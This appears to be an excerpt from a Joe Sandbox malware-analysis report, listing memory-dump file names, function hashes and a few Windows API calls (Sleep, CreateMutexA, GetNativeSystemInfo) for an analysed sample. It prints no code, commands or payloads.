Associated: 00000000.00000002.1459305143.0000000000B25000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459320428.0000000000B32000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459333285.0000000000B33000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459345440.0000000000B34000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459359173.0000000000B35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459379108.0000000000B42000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459393452.0000000000B44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459405663.0000000000B45000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459417847.0000000000B46000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459417847.0000000000B65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459460215.0000000000B91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459485889.0000000000B92000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459501980.0000000000B97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459515010.0000000000B99000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459532625.0000000000BA7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459545214.0000000000BA8000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_890000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 31a1e472c6478fbc1b3c80c70f37a6a2960f0adb36f64e48a42d588dffd873d6
Instruction ID: c8bb8ac00753429c18d4f5b4d96e409b582496cbb1891853fa53b5661f567a01
Opcode Fuzzy Hash: 31a1e472c6478fbc1b3c80c70f37a6a2960f0adb36f64e48a42d588dffd873d6
Instruction Fuzzy Hash: B03128716002449BEF0CEB7CDC89B6DBBB2FBC1324F288618E015D76D1D77599808693

Function 00899ADC Relevance: 3.1, APIs: 2, Instructions: 107
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 0089A963
CreateMutexA.KERNEL32(00000000,00000000,008F3254), ref: 0089A981

Memory Dump Source

Source File: 00000000.00000002.1457682859.0000000000891000.00000040.00000001.01000000.00000003.sdmp, Offset: 00890000, based on PE: true

Associated: 00000000.00000002.1457671208.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457682859.00000000008F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457732745.00000000008F9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457774864.00000000008FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457790768.0000000000905000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457802488.0000000000906000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457813801.0000000000907000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1458357790.0000000000A5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1458376642.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1458392856.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1458420879.0000000000A77000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1458465446.0000000000A78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1458465446.0000000000A81000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1458626713.0000000000A85000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1458645187.0000000000A86000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1458657521.0000000000A88000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1458929915.0000000000A8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1458945923.0000000000A8B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1458960976.0000000000A8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1458977774.0000000000A9D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1458989840.0000000000A9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459005401.0000000000AB3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459024005.0000000000AB4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459038850.0000000000ABE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459055488.0000000000AC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459072461.0000000000ADE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459086887.0000000000AE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459101565.0000000000AEB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459116097.0000000000AF0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459131565.0000000000AF6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459144829.0000000000AF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459158858.0000000000AF8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459171112.0000000000AFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459184882.0000000000B05000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459199433.0000000000B0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459214292.0000000000B11000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459227978.0000000000B13000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459240014.0000000000B14000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459252716.0000000000B16000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459264586.0000000000B17000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459278527.0000000000B1C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459291171.0000000000B23000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459305143.0000000000B25000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459320428.0000000000B32000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459333285.0000000000B33000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459345440.0000000000B34000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459359173.0000000000B35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459379108.0000000000B42000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459393452.0000000000B44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459405663.0000000000B45000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459417847.0000000000B46000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459417847.0000000000B65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459460215.0000000000B91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459485889.0000000000B92000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459501980.0000000000B97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459515010.0000000000B99000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459532625.0000000000BA7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459545214.0000000000BA8000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_890000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 794ac890b38bb3a723bddbaac48e300334936101bce9b919836632034e549979
Instruction ID: 2e4a4e7761becff85d79e2a277f3ac52cea95c1af459a6aa75512343098d377f
Opcode Fuzzy Hash: 794ac890b38bb3a723bddbaac48e300334936101bce9b919836632034e549979
Instruction Fuzzy Hash: 842122317042449BEF1CAB6CEC89B2CB762FBC1320F28461DE458D76D1DB7999808652

Function 0089A856 Relevance: 3.1, APIs: 2, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 0089A963
CreateMutexA.KERNEL32(00000000,00000000,008F3254), ref: 0089A981

Memory Dump Source

Source File: 00000000.00000002.1457682859.0000000000891000.00000040.00000001.01000000.00000003.sdmp, Offset: 00890000, based on PE: true

Associated: 00000000.00000002.1457671208.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457682859.00000000008F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457732745.00000000008F9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457774864.00000000008FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457790768.0000000000905000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457802488.0000000000906000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457813801.0000000000907000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1458357790.0000000000A5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1458376642.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1458392856.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1458420879.0000000000A77000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1458465446.0000000000A78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1458465446.0000000000A81000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1458626713.0000000000A85000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1458645187.0000000000A86000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1458657521.0000000000A88000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1458929915.0000000000A8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1458945923.0000000000A8B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1458960976.0000000000A8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1458977774.0000000000A9D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1458989840.0000000000A9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459005401.0000000000AB3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459024005.0000000000AB4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459038850.0000000000ABE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459055488.0000000000AC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459072461.0000000000ADE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459086887.0000000000AE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459101565.0000000000AEB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459116097.0000000000AF0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459131565.0000000000AF6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459144829.0000000000AF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459158858.0000000000AF8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459171112.0000000000AFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459184882.0000000000B05000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459199433.0000000000B0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459214292.0000000000B11000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459227978.0000000000B13000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459240014.0000000000B14000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459252716.0000000000B16000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459264586.0000000000B17000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459278527.0000000000B1C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459291171.0000000000B23000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459305143.0000000000B25000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459320428.0000000000B32000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459333285.0000000000B33000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459345440.0000000000B34000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459359173.0000000000B35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459379108.0000000000B42000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459393452.0000000000B44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459405663.0000000000B45000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459417847.0000000000B46000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459417847.0000000000B65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459460215.0000000000B91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459485889.0000000000B92000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459501980.0000000000B97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459515010.0000000000B99000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459532625.0000000000BA7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459545214.0000000000BA8000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_890000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 6f7a8d7a4df04211696253f96afe3ee4cd6d9be60890d4d1183f16684b1db10a
Instruction ID: d6228ab340d632de808fa637903911fc333bc1b2736f3a07937d7d40215bf954
Opcode Fuzzy Hash: 6f7a8d7a4df04211696253f96afe3ee4cd6d9be60890d4d1183f16684b1db10a
Instruction Fuzzy Hash: CC213A712542059AFF2C776C9C8AB3DB652FF81314F3C0826E108E63D1DB7A998081D3

Function 0089A34F Relevance: 3.1, APIs: 2, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 0089A963
CreateMutexA.KERNEL32(00000000,00000000,008F3254), ref: 0089A981

Memory Dump Source

Source File: 00000000.00000002.1457682859.0000000000891000.00000040.00000001.01000000.00000003.sdmp, Offset: 00890000, based on PE: true

Associated: 00000000.00000002.1457671208.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457682859.00000000008F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457732745.00000000008F9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457774864.00000000008FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457790768.0000000000905000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457802488.0000000000906000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457813801.0000000000907000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1458357790.0000000000A5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1458376642.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1458392856.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1458420879.0000000000A77000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1458465446.0000000000A78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1458465446.0000000000A81000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1458626713.0000000000A85000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1458645187.0000000000A86000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1458657521.0000000000A88000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1458929915.0000000000A8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1458945923.0000000000A8B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1458960976.0000000000A8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1458977774.0000000000A9D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1458989840.0000000000A9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459005401.0000000000AB3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459024005.0000000000AB4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459038850.0000000000ABE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459055488.0000000000AC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459072461.0000000000ADE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459086887.0000000000AE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459101565.0000000000AEB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459116097.0000000000AF0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459131565.0000000000AF6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459144829.0000000000AF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459158858.0000000000AF8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459171112.0000000000AFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459184882.0000000000B05000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459199433.0000000000B0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459214292.0000000000B11000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459227978.0000000000B13000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459240014.0000000000B14000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459252716.0000000000B16000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459264586.0000000000B17000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459278527.0000000000B1C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459291171.0000000000B23000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459305143.0000000000B25000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459320428.0000000000B32000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459333285.0000000000B33000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459345440.0000000000B34000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459359173.0000000000B35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459379108.0000000000B42000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459393452.0000000000B44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459405663.0000000000B45000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459417847.0000000000B46000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459417847.0000000000B65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459460215.0000000000B91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459485889.0000000000B92000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459501980.0000000000B97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459515010.0000000000B99000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459532625.0000000000BA7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459545214.0000000000BA8000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_890000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 7c318a775bde82312f88334528c3b195e40bcabaac4e0330b50f88f02de9cb3c
Instruction ID: b30969a35f5740f041029ec213eb72b6f46508eab2854c4d096924a92272dd61
Opcode Fuzzy Hash: 7c318a775bde82312f88334528c3b195e40bcabaac4e0330b50f88f02de9cb3c
Instruction Fuzzy Hash: 452179317402049BFF0CAB6CDC85B2CBB62FBD2325F284219E414D77D1DB76A6808293

Function 00897D30 Relevance: 1.9, APIs: 1, Instructions: 426
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetNativeSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00897ED3

Memory Dump Source

Source File: 00000000.00000002.1457682859.0000000000891000.00000040.00000001.01000000.00000003.sdmp, Offset: 00890000, based on PE: true

Associated: 00000000.00000002.1457671208.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457682859.00000000008F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457732745.00000000008F9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457774864.00000000008FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457790768.0000000000905000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457802488.0000000000906000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457813801.0000000000907000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1458357790.0000000000A5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1458376642.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1458392856.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1458420879.0000000000A77000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1458465446.0000000000A78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1458465446.0000000000A81000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1458626713.0000000000A85000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1458645187.0000000000A86000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1458657521.0000000000A88000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1458929915.0000000000A8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1458945923.0000000000A8B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1458960976.0000000000A8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1458977774.0000000000A9D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1458989840.0000000000A9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459005401.0000000000AB3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459024005.0000000000AB4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459038850.0000000000ABE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459055488.0000000000AC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459072461.0000000000ADE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459086887.0000000000AE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459101565.0000000000AEB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459116097.0000000000AF0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459131565.0000000000AF6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459144829.0000000000AF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459158858.0000000000AF8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459171112.0000000000AFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459184882.0000000000B05000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459199433.0000000000B0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459214292.0000000000B11000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459227978.0000000000B13000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459240014.0000000000B14000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459252716.0000000000B16000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459264586.0000000000B17000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459278527.0000000000B1C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459291171.0000000000B23000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459305143.0000000000B25000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459320428.0000000000B32000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459333285.0000000000B33000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459345440.0000000000B34000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459359173.0000000000B35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459379108.0000000000B42000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459393452.0000000000B44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459405663.0000000000B45000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459417847.0000000000B46000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459417847.0000000000B65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459460215.0000000000B91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459485889.0000000000B92000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459501980.0000000000B97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459515010.0000000000B99000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459532625.0000000000BA7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459545214.0000000000BA8000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_890000_file.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID:
API String ID: 1721193555-0
Opcode ID: ef5bd9c7d822899452e91079857753640f902d47390ae6447352eeb7bfae5be3
Instruction ID: 831dad2333a13a75f6ac9e483f4ca3b285ae55efd50814ad1c65a3bda1dcecfc
Opcode Fuzzy Hash: ef5bd9c7d822899452e91079857753640f902d47390ae6447352eeb7bfae5be3
